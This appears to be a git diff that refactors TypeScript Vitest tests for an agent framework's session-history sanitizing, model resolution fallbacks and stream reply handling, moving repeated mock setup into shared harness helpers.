@@ -1,8 +1,18 @@
import type { AgentMessage } from "@mariozechner/pi-agent-core";
import type { SessionManager } from "@mariozechner/pi-coding-agent";
import { vi } from "vitest";
import { expect, vi } from "vitest";
import * as helpers from "./pi-embedded-helpers.js";
export type SessionEntry = { type: string; customType: string; data: unknown };
export type SanitizeSessionHistoryFn = (params: {
messages: AgentMessage[];
modelApi: string;
provider: string;
sessionManager: SessionManager;
sessionId: string;
modelId?: string;
}) => Promise<AgentMessage[]>;
export const TEST_SESSION_ID = "test-session";
export function makeModelSnapshotEntry(data: {
timestamp?: number;
@@ -31,6 +41,25 @@ export function makeInMemorySessionManager(entries: SessionEntry[]): SessionMana
} as unknown as SessionManager;
}
export function makeMockSessionManager(): SessionManager {
return {
getEntries: vi.fn().mockReturnValue([]),
appendCustomEntry: vi.fn(),
} as unknown as SessionManager;
}
export function makeSimpleUserMessages(): AgentMessage[] {
const messages = [{ role: "user", content: "hello" }];
return messages as unknown as AgentMessage[];
}
export async function loadSanitizeSessionHistoryWithCleanMocks(): Promise<SanitizeSessionHistoryFn> {
vi.resetAllMocks();
vi.mocked(helpers.sanitizeSessionMessagesImages).mockImplementation(async (msgs) => msgs);
const mod = await import("./pi-embedded-runner/google.js");
return mod.sanitizeSessionHistory;
}
export function makeReasoningAssistantMessages(opts?: {
thinkingSignature?: "object" | "json";
}): AgentMessage[] {
@@ -56,3 +85,69 @@ export function makeReasoningAssistantMessages(opts?: {
return messages as unknown as AgentMessage[];
}
export async function sanitizeWithOpenAIResponses(params: {
sanitizeSessionHistory: SanitizeSessionHistoryFn;
messages: AgentMessage[];
sessionManager: SessionManager;
modelId?: string;
}) {
return await params.sanitizeSessionHistory({
messages: params.messages,
modelApi: "openai-responses",
provider: "openai",
sessionManager: params.sessionManager,
modelId: params.modelId,
sessionId: TEST_SESSION_ID,
});
}
export function expectOpenAIResponsesStrictSanitizeCall(
sanitizeSessionMessagesImagesMock: unknown,
messages: AgentMessage[],
) {
expect(sanitizeSessionMessagesImagesMock).toHaveBeenCalledWith(
messages,
"session:history",
expect.objectContaining({
sanitizeMode: "images-only",
sanitizeToolCallIds: true,
toolCallIdMode: "strict",
}),
);
}
export async function expectGoogleModelApiFullSanitizeCall(params: {
sanitizeSessionHistory: SanitizeSessionHistoryFn;
messages: AgentMessage[];
sessionManager: SessionManager;
}) {
vi.mocked(helpers.isGoogleModelApi).mockReturnValue(true);
await params.sanitizeSessionHistory({
messages: params.messages,
modelApi: "google-generative-ai",
provider: "google-vertex",
sessionManager: params.sessionManager,
sessionId: TEST_SESSION_ID,
});
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
params.messages,
"session:history",
expect.objectContaining({ sanitizeMode: "full", sanitizeToolCallIds: true }),
);
}
export function makeSnapshotChangedOpenAIReasoningScenario() {
const sessionEntries = [
makeModelSnapshotEntry({
provider: "anthropic",
modelApi: "anthropic-messages",
modelId: "claude-3-7",
}),
];
return {
sessionManager: makeInMemorySessionManager(sessionEntries),
messages: makeReasoningAssistantMessages({ thinkingSignature: "object" }),
modelId: "gpt-5.2-codex",
};
}

View File

@@ -1,11 +1,17 @@
import type { AgentMessage } from "@mariozechner/pi-agent-core";
import type { SessionManager } from "@mariozechner/pi-coding-agent";
import { beforeEach, describe, expect, it, vi } from "vitest";
import * as helpers from "./pi-embedded-helpers.js";
import {
expectGoogleModelApiFullSanitizeCall,
loadSanitizeSessionHistoryWithCleanMocks,
makeMockSessionManager,
makeInMemorySessionManager,
makeModelSnapshotEntry,
makeReasoningAssistantMessages,
makeSimpleUserMessages,
makeSnapshotChangedOpenAIReasoningScenario,
sanitizeWithOpenAIResponses,
TEST_SESSION_ID,
} from "./pi-embedded-runner.sanitize-session-history.test-harness.js";
type SanitizeSessionHistory =
@@ -26,35 +32,19 @@ vi.mock("./pi-embedded-helpers.js", async () => {
// We rely on the real implementation which should pass through our simple messages.
describe("sanitizeSessionHistory", () => {
const mockSessionManager = {
getEntries: vi.fn().mockReturnValue([]),
appendCustomEntry: vi.fn(),
} as unknown as SessionManager;
const mockMessages: AgentMessage[] = [{ role: "user", content: "hello" }];
const mockSessionManager = makeMockSessionManager();
const mockMessages = makeSimpleUserMessages();
beforeEach(async () => {
vi.resetAllMocks();
vi.mocked(helpers.sanitizeSessionMessagesImages).mockImplementation(async (msgs) => msgs);
({ sanitizeSessionHistory } = await import("./pi-embedded-runner/google.js"));
sanitizeSessionHistory = await loadSanitizeSessionHistoryWithCleanMocks();
});
it("sanitizes tool call ids for Google model APIs", async () => {
vi.mocked(helpers.isGoogleModelApi).mockReturnValue(true);
await sanitizeSessionHistory({
await expectGoogleModelApiFullSanitizeCall({
sanitizeSessionHistory,
messages: mockMessages,
modelApi: "google-generative-ai",
provider: "google-vertex",
sessionManager: mockSessionManager,
sessionId: "test-session",
});
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
mockMessages,
"session:history",
expect.objectContaining({ sanitizeMode: "full", sanitizeToolCallIds: true }),
);
});
it("sanitizes tool call ids with strict9 for Mistral models", async () => {
@@ -66,7 +56,7 @@ describe("sanitizeSessionHistory", () => {
provider: "openrouter",
modelId: "mistralai/devstral-2512:free",
sessionManager: mockSessionManager,
sessionId: "test-session",
sessionId: TEST_SESSION_ID,
});
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
@@ -88,7 +78,7 @@ describe("sanitizeSessionHistory", () => {
modelApi: "anthropic-messages",
provider: "anthropic",
sessionManager: mockSessionManager,
sessionId: "test-session",
sessionId: TEST_SESSION_ID,
});
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
@@ -101,12 +91,10 @@ describe("sanitizeSessionHistory", () => {
it("does not sanitize tool call ids for openai-responses", async () => {
vi.mocked(helpers.isGoogleModelApi).mockReturnValue(false);
await sanitizeSessionHistory({
await sanitizeWithOpenAIResponses({
sanitizeSessionHistory,
messages: mockMessages,
modelApi: "openai-responses",
provider: "openai",
sessionManager: mockSessionManager,
sessionId: "test-session",
});
expect(helpers.sanitizeSessionMessagesImages).toHaveBeenCalledWith(
@@ -136,7 +124,7 @@ describe("sanitizeSessionHistory", () => {
modelApi: "openai-responses",
provider: "openai",
sessionManager: mockSessionManager,
sessionId: "test-session",
sessionId: TEST_SESSION_ID,
});
const first = result[0] as Extract<AgentMessage, { role: "user" }>;
@@ -169,7 +157,7 @@ describe("sanitizeSessionHistory", () => {
modelApi: "openai-responses",
provider: "openai",
sessionManager: mockSessionManager,
sessionId: "test-session",
sessionId: TEST_SESSION_ID,
});
expect(result).toHaveLength(2);
@@ -189,7 +177,7 @@ describe("sanitizeSessionHistory", () => {
modelApi: "openai-responses",
provider: "openai",
sessionManager: mockSessionManager,
sessionId: "test-session",
sessionId: TEST_SESSION_ID,
});
expect(result).toHaveLength(1);
@@ -227,36 +215,24 @@ describe("sanitizeSessionHistory", () => {
const sessionManager = makeInMemorySessionManager(sessionEntries);
const messages = makeReasoningAssistantMessages({ thinkingSignature: "json" });
const result = await sanitizeSessionHistory({
const result = await sanitizeWithOpenAIResponses({
sanitizeSessionHistory,
messages,
modelApi: "openai-responses",
provider: "openai",
modelId: "gpt-5.2-codex",
sessionManager,
sessionId: "test-session",
});
expect(result).toEqual(messages);
});
it("downgrades openai reasoning when the model changes", async () => {
const sessionEntries = [
makeModelSnapshotEntry({
provider: "anthropic",
modelApi: "anthropic-messages",
modelId: "claude-3-7",
}),
];
const sessionManager = makeInMemorySessionManager(sessionEntries);
const messages = makeReasoningAssistantMessages({ thinkingSignature: "object" });
it("downgrades openai reasoning only when the model changes", async () => {
const { sessionManager, messages, modelId } = makeSnapshotChangedOpenAIReasoningScenario();
const result = await sanitizeSessionHistory({
const result = await sanitizeWithOpenAIResponses({
sanitizeSessionHistory,
messages,
modelApi: "openai-responses",
provider: "openai",
modelId: "gpt-5.2-codex",
modelId,
sessionManager,
sessionId: "test-session",
});
expect(result).toEqual([]);
@@ -297,7 +273,7 @@ describe("sanitizeSessionHistory", () => {
provider: "anthropic",
modelId: "claude-opus-4-6",
sessionManager,
sessionId: "test-session",
sessionId: TEST_SESSION_ID,
});
expect(result.map((msg) => msg.role)).toEqual(["assistant", "toolResult", "user"]);

View File

@@ -6,7 +6,6 @@ vi.mock("../pi-model-discovery.js", () => ({
}));
import type { OpenClawConfig } from "../../config/config.js";
import { discoverModels } from "../pi-model-discovery.js";
import { buildInlineProviderModels, resolveModel } from "./model.js";
import {
makeModel,
@@ -19,6 +18,48 @@ beforeEach(() => {
resetMockDiscoverModels();
});
function buildForwardCompatTemplate(params: {
id: string;
name: string;
provider: string;
api: "anthropic-messages" | "google-gemini-cli" | "openai-completions";
baseUrl: string;
input?: readonly ["text"] | readonly ["text", "image"];
cost?: { input: number; output: number; cacheRead: number; cacheWrite: number };
contextWindow?: number;
maxTokens?: number;
}) {
return {
id: params.id,
name: params.name,
provider: params.provider,
api: params.api,
baseUrl: params.baseUrl,
reasoning: true,
input: params.input ?? (["text", "image"] as const),
cost: params.cost ?? { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
contextWindow: params.contextWindow ?? 200000,
maxTokens: params.maxTokens ?? 64000,
};
}
function expectResolvedForwardCompatFallback(params: {
provider: string;
id: string;
expectedModel: Record<string, unknown>;
cfg?: OpenClawConfig;
}) {
const result = resolveModel(params.provider, params.id, "/tmp/agent", params.cfg);
expect(result.error).toBeUndefined();
expect(result.model).toMatchObject(params.expectedModel);
}
function expectUnknownModelError(provider: string, id: string) {
const result = resolveModel(provider, id, "/tmp/agent");
expect(result.model).toBeUndefined();
expect(result.error).toBe(`Unknown model: ${provider}/${id}`);
}
describe("buildInlineProviderModels", () => {
it("attaches provider ids to inline models", () => {
const providers = {
@@ -151,175 +192,126 @@ describe("resolveModel", () => {
});
it("builds an anthropic forward-compat fallback for claude-opus-4-6", () => {
const templateModel = {
id: "claude-opus-4-5",
name: "Claude Opus 4.5",
mockDiscoveredModel({
provider: "anthropic",
api: "anthropic-messages",
baseUrl: "https://api.anthropic.com",
reasoning: true,
input: ["text", "image"] as const,
cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
contextWindow: 200000,
maxTokens: 64000,
};
vi.mocked(discoverModels).mockReturnValue({
find: vi.fn((provider: string, modelId: string) => {
if (provider === "anthropic" && modelId === "claude-opus-4-5") {
return templateModel;
}
return null;
modelId: "claude-opus-4-5",
templateModel: buildForwardCompatTemplate({
id: "claude-opus-4-5",
name: "Claude Opus 4.5",
provider: "anthropic",
api: "anthropic-messages",
baseUrl: "https://api.anthropic.com",
}),
} as unknown as ReturnType<typeof discoverModels>);
});
const result = resolveModel("anthropic", "claude-opus-4-6", "/tmp/agent");
expect(result.error).toBeUndefined();
expect(result.model).toMatchObject({
expectResolvedForwardCompatFallback({
provider: "anthropic",
id: "claude-opus-4-6",
api: "anthropic-messages",
baseUrl: "https://api.anthropic.com",
reasoning: true,
expectedModel: {
provider: "anthropic",
id: "claude-opus-4-6",
api: "anthropic-messages",
baseUrl: "https://api.anthropic.com",
reasoning: true,
},
});
});
it("builds an antigravity forward-compat fallback for claude-opus-4-6-thinking", () => {
const templateModel = {
id: "claude-opus-4-5-thinking",
name: "Claude Opus 4.5 Thinking",
mockDiscoveredModel({
provider: "google-antigravity",
api: "google-gemini-cli",
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
reasoning: true,
input: ["text", "image"] as const,
cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
contextWindow: 200000,
maxTokens: 64000,
};
vi.mocked(discoverModels).mockReturnValue({
find: vi.fn((provider: string, modelId: string) => {
if (provider === "google-antigravity" && modelId === "claude-opus-4-5-thinking") {
return templateModel;
}
return null;
modelId: "claude-opus-4-5-thinking",
templateModel: buildForwardCompatTemplate({
id: "claude-opus-4-5-thinking",
name: "Claude Opus 4.5 Thinking",
provider: "google-antigravity",
api: "google-gemini-cli",
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
}),
} as unknown as ReturnType<typeof discoverModels>);
});
const result = resolveModel("google-antigravity", "claude-opus-4-6-thinking", "/tmp/agent");
expect(result.error).toBeUndefined();
expect(result.model).toMatchObject({
expectResolvedForwardCompatFallback({
provider: "google-antigravity",
id: "claude-opus-4-6-thinking",
api: "google-gemini-cli",
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
reasoning: true,
contextWindow: 200000,
maxTokens: 64000,
expectedModel: {
provider: "google-antigravity",
id: "claude-opus-4-6-thinking",
api: "google-gemini-cli",
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
reasoning: true,
contextWindow: 200000,
maxTokens: 64000,
},
});
});
it("builds an antigravity forward-compat fallback for claude-opus-4-6", () => {
const templateModel = {
id: "claude-opus-4-5",
name: "Claude Opus 4.5",
mockDiscoveredModel({
provider: "google-antigravity",
api: "google-gemini-cli",
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
reasoning: true,
input: ["text", "image"] as const,
cost: { input: 5, output: 25, cacheRead: 0.5, cacheWrite: 6.25 },
contextWindow: 200000,
maxTokens: 64000,
};
vi.mocked(discoverModels).mockReturnValue({
find: vi.fn((provider: string, modelId: string) => {
if (provider === "google-antigravity" && modelId === "claude-opus-4-5") {
return templateModel;
}
return null;
modelId: "claude-opus-4-5",
templateModel: buildForwardCompatTemplate({
id: "claude-opus-4-5",
name: "Claude Opus 4.5",
provider: "google-antigravity",
api: "google-gemini-cli",
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
}),
} as unknown as ReturnType<typeof discoverModels>);
});
const result = resolveModel("google-antigravity", "claude-opus-4-6", "/tmp/agent");
expect(result.error).toBeUndefined();
expect(result.model).toMatchObject({
expectResolvedForwardCompatFallback({
provider: "google-antigravity",
id: "claude-opus-4-6",
api: "google-gemini-cli",
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
reasoning: true,
contextWindow: 200000,
maxTokens: 64000,
expectedModel: {
provider: "google-antigravity",
id: "claude-opus-4-6",
api: "google-gemini-cli",
baseUrl: "https://daily-cloudcode-pa.sandbox.googleapis.com",
reasoning: true,
contextWindow: 200000,
maxTokens: 64000,
},
});
});
it("builds a zai forward-compat fallback for glm-5", () => {
const templateModel = {
id: "glm-4.7",
name: "GLM-4.7",
mockDiscoveredModel({
provider: "zai",
api: "openai-completions",
baseUrl: "https://api.z.ai/api/paas/v4",
reasoning: true,
input: ["text"] as const,
cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },
contextWindow: 200000,
maxTokens: 131072,
};
vi.mocked(discoverModels).mockReturnValue({
find: vi.fn((provider: string, modelId: string) => {
if (provider === "zai" && modelId === "glm-4.7") {
return templateModel;
}
return null;
modelId: "glm-4.7",
templateModel: buildForwardCompatTemplate({
id: "glm-4.7",
name: "GLM-4.7",
provider: "zai",
api: "openai-completions",
baseUrl: "https://api.z.ai/api/paas/v4",
input: ["text"],
cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },
maxTokens: 131072,
}),
} as unknown as ReturnType<typeof discoverModels>);
});
const result = resolveModel("zai", "glm-5", "/tmp/agent");
expect(result.error).toBeUndefined();
expect(result.model).toMatchObject({
expectResolvedForwardCompatFallback({
provider: "zai",
id: "glm-5",
api: "openai-completions",
baseUrl: "https://api.z.ai/api/paas/v4",
reasoning: true,
expectedModel: {
provider: "zai",
id: "glm-5",
api: "openai-completions",
baseUrl: "https://api.z.ai/api/paas/v4",
reasoning: true,
},
});
});
it("keeps unknown-model errors when no antigravity thinking template exists", () => {
vi.mocked(discoverModels).mockReturnValue({
find: vi.fn(() => null),
} as unknown as ReturnType<typeof discoverModels>);
const result = resolveModel("google-antigravity", "claude-opus-4-6-thinking", "/tmp/agent");
expect(result.model).toBeUndefined();
expect(result.error).toBe("Unknown model: google-antigravity/claude-opus-4-6-thinking");
expectUnknownModelError("google-antigravity", "claude-opus-4-6-thinking");
});
it("keeps unknown-model errors when no antigravity non-thinking template exists", () => {
vi.mocked(discoverModels).mockReturnValue({
find: vi.fn(() => null),
} as unknown as ReturnType<typeof discoverModels>);
const result = resolveModel("google-antigravity", "claude-opus-4-6", "/tmp/agent");
expect(result.model).toBeUndefined();
expect(result.error).toBe("Unknown model: google-antigravity/claude-opus-4-6");
expectUnknownModelError("google-antigravity", "claude-opus-4-6");
});
it("keeps unknown-model errors for non-gpt-5 openai-codex ids", () => {
const result = resolveModel("openai-codex", "gpt-4.1-mini", "/tmp/agent");
expect(result.model).toBeUndefined();
expect(result.error).toBe("Unknown model: openai-codex/gpt-4.1-mini");
expectUnknownModelError("openai-codex", "gpt-4.1-mini");
});
it("uses codex fallback even when openai-codex provider is configured", () => {
@@ -337,15 +329,15 @@ describe("resolveModel", () => {
},
} as OpenClawConfig;
vi.mocked(discoverModels).mockReturnValue({
find: vi.fn(() => null),
} as unknown as ReturnType<typeof discoverModels>);
const result = resolveModel("openai-codex", "gpt-5.3-codex", "/tmp/agent", cfg);
expect(result.error).toBeUndefined();
expect(result.model?.api).toBe("openai-codex-responses");
expect(result.model?.id).toBe("gpt-5.3-codex");
expect(result.model?.provider).toBe("openai-codex");
expectResolvedForwardCompatFallback({
provider: "openai-codex",
id: "gpt-5.3-codex",
cfg,
expectedModel: {
api: "openai-codex-responses",
id: "gpt-5.3-codex",
provider: "openai-codex",
},
});
});
});

View File

@@ -1,29 +1,25 @@
import { describe, expect, it, vi } from "vitest";
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type StubSession = {
subscribe: (fn: (evt: unknown) => void) => () => void;
};
describe("subscribeEmbeddedPiSession thinking tag code span awareness", () => {
it("does not strip thinking tags inside inline code backticks", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
function createPartialReplyHarness() {
const { session, emit } = createStubSessionHarness();
const onPartialReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
session,
runId: "run",
onPartialReply,
});
handler?.({
return { emit, onPartialReply };
}
it("does not strip thinking tags inside inline code backticks", () => {
const { emit, onPartialReply } = createPartialReplyHarness();
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
@@ -38,23 +34,9 @@ describe("subscribeEmbeddedPiSession thinking tag code span awareness", () => {
});
it("does not strip thinking tags inside fenced code blocks", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit, onPartialReply } = createPartialReplyHarness();
const onPartialReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onPartialReply,
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
@@ -69,23 +51,9 @@ describe("subscribeEmbeddedPiSession thinking tag code span awareness", () => {
});
it("still strips actual thinking tags outside code spans", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit, onPartialReply } = createPartialReplyHarness();
const onPartialReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onPartialReply,
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {

View File

@@ -1,6 +1,11 @@
type SubscribeEmbeddedPiSession =
typeof import("./pi-embedded-subscribe.js").subscribeEmbeddedPiSession;
import type { AssistantMessage } from "@mariozechner/pi-ai";
import { expect } from "vitest";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type SubscribeEmbeddedPiSession = typeof subscribeEmbeddedPiSession;
type SubscribeEmbeddedPiSessionParams = Parameters<SubscribeEmbeddedPiSession>[0];
type PiSession = Parameters<SubscribeEmbeddedPiSession>[0]["session"];
type OnBlockReply = NonNullable<SubscribeEmbeddedPiSessionParams["onBlockReply"]>;
export function createStubSessionHarness(): {
session: PiSession;
@@ -17,6 +22,47 @@ export function createStubSessionHarness(): {
return { session, emit: (evt: unknown) => handler?.(evt) };
}
export function createSubscribedSessionHarness(
params: Omit<Parameters<SubscribeEmbeddedPiSession>[0], "session"> & {
sessionExtras?: Partial<PiSession>;
},
): {
emit: (evt: unknown) => void;
session: PiSession;
subscription: ReturnType<SubscribeEmbeddedPiSession>;
} {
const { sessionExtras, ...subscribeParams } = params;
const { session, emit } = createStubSessionHarness();
const mergedSession = Object.assign(session, sessionExtras ?? {});
const subscription = subscribeEmbeddedPiSession({
...subscribeParams,
session: mergedSession,
});
return { emit, session: mergedSession, subscription };
}
export function createParagraphChunkedBlockReplyHarness(params: {
chunking: { minChars: number; maxChars: number };
onBlockReply?: OnBlockReply;
runId?: string;
}): {
emit: (evt: unknown) => void;
onBlockReply: OnBlockReply;
subscription: ReturnType<SubscribeEmbeddedPiSession>;
} {
const onBlockReply: OnBlockReply = params.onBlockReply ?? (() => {});
const { emit, subscription } = createSubscribedSessionHarness({
runId: params.runId ?? "run",
onBlockReply,
blockReplyBreak: "message_end",
blockReplyChunking: {
...params.chunking,
breakPreference: "paragraph",
},
});
return { emit, onBlockReply, subscription };
}
export function extractAgentEventPayloads(calls: Array<unknown[]>): Array<Record<string, unknown>> {
return calls
.map((call) => {
@@ -26,3 +72,60 @@ export function extractAgentEventPayloads(calls: Array<unknown[]>): Array<Record
})
.filter((value): value is Record<string, unknown> => Boolean(value));
}
export function extractTextPayloads(calls: Array<unknown[]>): string[] {
return calls
.map((call) => {
const payload = call?.[0] as { text?: unknown } | undefined;
return typeof payload?.text === "string" ? payload.text : undefined;
})
.filter((text): text is string => Boolean(text));
}
export function emitMessageStartAndEndForAssistantText(params: {
emit: (evt: unknown) => void;
text: string;
}): void {
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text: params.text }],
} as AssistantMessage;
params.emit({ type: "message_start", message: assistantMessage });
params.emit({ type: "message_end", message: assistantMessage });
}
export function emitAssistantTextDeltaAndEnd(params: {
emit: (evt: unknown) => void;
text: string;
}): void {
params.emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
type: "text_delta",
delta: params.text,
},
});
const assistantMessage = {
role: "assistant",
content: [{ type: "text", text: params.text }],
} as AssistantMessage;
params.emit({ type: "message_end", message: assistantMessage });
}
export function expectFencedChunks(calls: Array<unknown[]>, expectedPrefix: string): void {
expect(calls.length).toBeGreaterThan(1);
for (const call of calls) {
const chunk = (call[0] as { text?: unknown } | undefined)?.text;
expect(typeof chunk === "string" && chunk.startsWith(expectedPrefix)).toBe(true);
const fenceCount = typeof chunk === "string" ? (chunk.match(/```/g)?.length ?? 0) : 0;
expect(fenceCount).toBeGreaterThanOrEqual(2);
}
}
export function expectSingleAgentEventText(calls: Array<unknown[]>, text: string): void {
const payloads = extractAgentEventPayloads(calls);
expect(payloads).toHaveLength(1);
expect(payloads[0]?.text).toBe(text);
expect(payloads[0]?.delta).toBe(text);
}

View File

@@ -1,25 +1,15 @@
import type { AssistantMessage } from "@mariozechner/pi-ai";
import { describe, expect, it, vi } from "vitest";
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type StubSession = {
subscribe: (fn: (evt: unknown) => void) => () => void;
};
describe("subscribeEmbeddedPiSession reply tags", () => {
it("carries reply_to_current across tag-only block chunks", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
function createBlockReplyHarness() {
const { session, emit } = createStubSessionHarness();
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
session,
runId: "run",
onBlockReply,
blockReplyBreak: "text_end",
@@ -30,8 +20,14 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
},
});
handler?.({ type: "message_start", message: { role: "assistant" } });
handler?.({
return { emit, onBlockReply };
}
it("carries reply_to_current across tag-only block chunks", () => {
const { emit, onBlockReply } = createBlockReplyHarness();
emit({ type: "message_start", message: { role: "assistant" } });
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
@@ -39,7 +35,7 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
delta: "[[reply_to_current]]\nHello",
},
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_end" },
@@ -49,7 +45,7 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
role: "assistant",
content: [{ type: "text", text: "[[reply_to_current]]\nHello" }],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
emit({ type: "message_end", message: assistantMessage });
expect(onBlockReply).toHaveBeenCalledTimes(1);
const payload = onBlockReply.mock.calls[0]?.[0];
@@ -59,35 +55,15 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
});
it("flushes trailing directive tails on stream end", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { emit, onBlockReply } = createBlockReplyHarness();
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onBlockReply,
blockReplyBreak: "text_end",
blockReplyChunking: {
minChars: 1,
maxChars: 50,
breakPreference: "newline",
},
});
handler?.({ type: "message_start", message: { role: "assistant" } });
handler?.({
emit({ type: "message_start", message: { role: "assistant" } });
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: "Hello [[" },
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_end" },
@@ -97,7 +73,7 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
role: "assistant",
content: [{ type: "text", text: "Hello [[" }],
} as AssistantMessage;
handler?.({ type: "message_end", message: assistantMessage });
emit({ type: "message_end", message: assistantMessage });
expect(onBlockReply).toHaveBeenCalledTimes(2);
expect(onBlockReply.mock.calls[0]?.[0]?.text).toBe("Hello");
@@ -105,39 +81,33 @@ describe("subscribeEmbeddedPiSession reply tags", () => {
});
it("streams partial replies past reply_to tags split across chunks", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const { session, emit } = createStubSessionHarness();
const onPartialReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
session,
runId: "run",
onPartialReply,
});
handler?.({ type: "message_start", message: { role: "assistant" } });
handler?.({
emit({ type: "message_start", message: { role: "assistant" } });
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: "[[reply_to:1897" },
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: "]] Hello" },
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_delta", delta: " world" },
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: { type: "text_end" },

View File

@@ -1,30 +1,31 @@
import { describe, expect, it, vi } from "vitest";
import { createStubSessionHarness } from "./pi-embedded-subscribe.e2e-harness.js";
import { subscribeEmbeddedPiSession } from "./pi-embedded-subscribe.js";
type StubSession = {
subscribe: (fn: (evt: unknown) => void) => () => void;
};
describe("subscribeEmbeddedPiSession", () => {
it("does not duplicate when text_end repeats full content", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
function createTextEndHarness(chunking?: {
minChars: number;
maxChars: number;
breakPreference: "newline";
}) {
const { session, emit } = createStubSessionHarness();
const onBlockReply = vi.fn();
const subscription = subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
session,
runId: "run",
onBlockReply,
blockReplyBreak: "text_end",
blockReplyChunking: chunking,
});
handler?.({
return { emit, onBlockReply, subscription };
}
it("does not duplicate when text_end repeats full content", () => {
const { emit, onBlockReply, subscription } = createTextEndHarness();
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
@@ -33,7 +34,7 @@ describe("subscribeEmbeddedPiSession", () => {
},
});
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
@@ -46,31 +47,15 @@ describe("subscribeEmbeddedPiSession", () => {
expect(subscription.assistantTexts).toEqual(["Good morning!"]);
});
it("does not duplicate block chunks when text_end repeats full content", () => {
let handler: ((evt: unknown) => void) | undefined;
const session: StubSession = {
subscribe: (fn) => {
handler = fn;
return () => {};
},
};
const onBlockReply = vi.fn();
subscribeEmbeddedPiSession({
session: session as unknown as Parameters<typeof subscribeEmbeddedPiSession>[0]["session"],
runId: "run",
onBlockReply,
blockReplyBreak: "text_end",
blockReplyChunking: {
minChars: 5,
maxChars: 40,
breakPreference: "newline",
},
const { emit, onBlockReply } = createTextEndHarness({
minChars: 5,
maxChars: 40,
breakPreference: "newline",
});
const fullText = "First line\nSecond line\nThird line\n";
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {
@@ -82,7 +67,7 @@ describe("subscribeEmbeddedPiSession", () => {
const callsAfterDelta = onBlockReply.mock.calls.length;
expect(callsAfterDelta).toBeGreaterThan(0);
handler?.({
emit({
type: "message_update",
message: { role: "assistant" },
assistantMessageEvent: {

View File

@@ -1,31 +1,27 @@
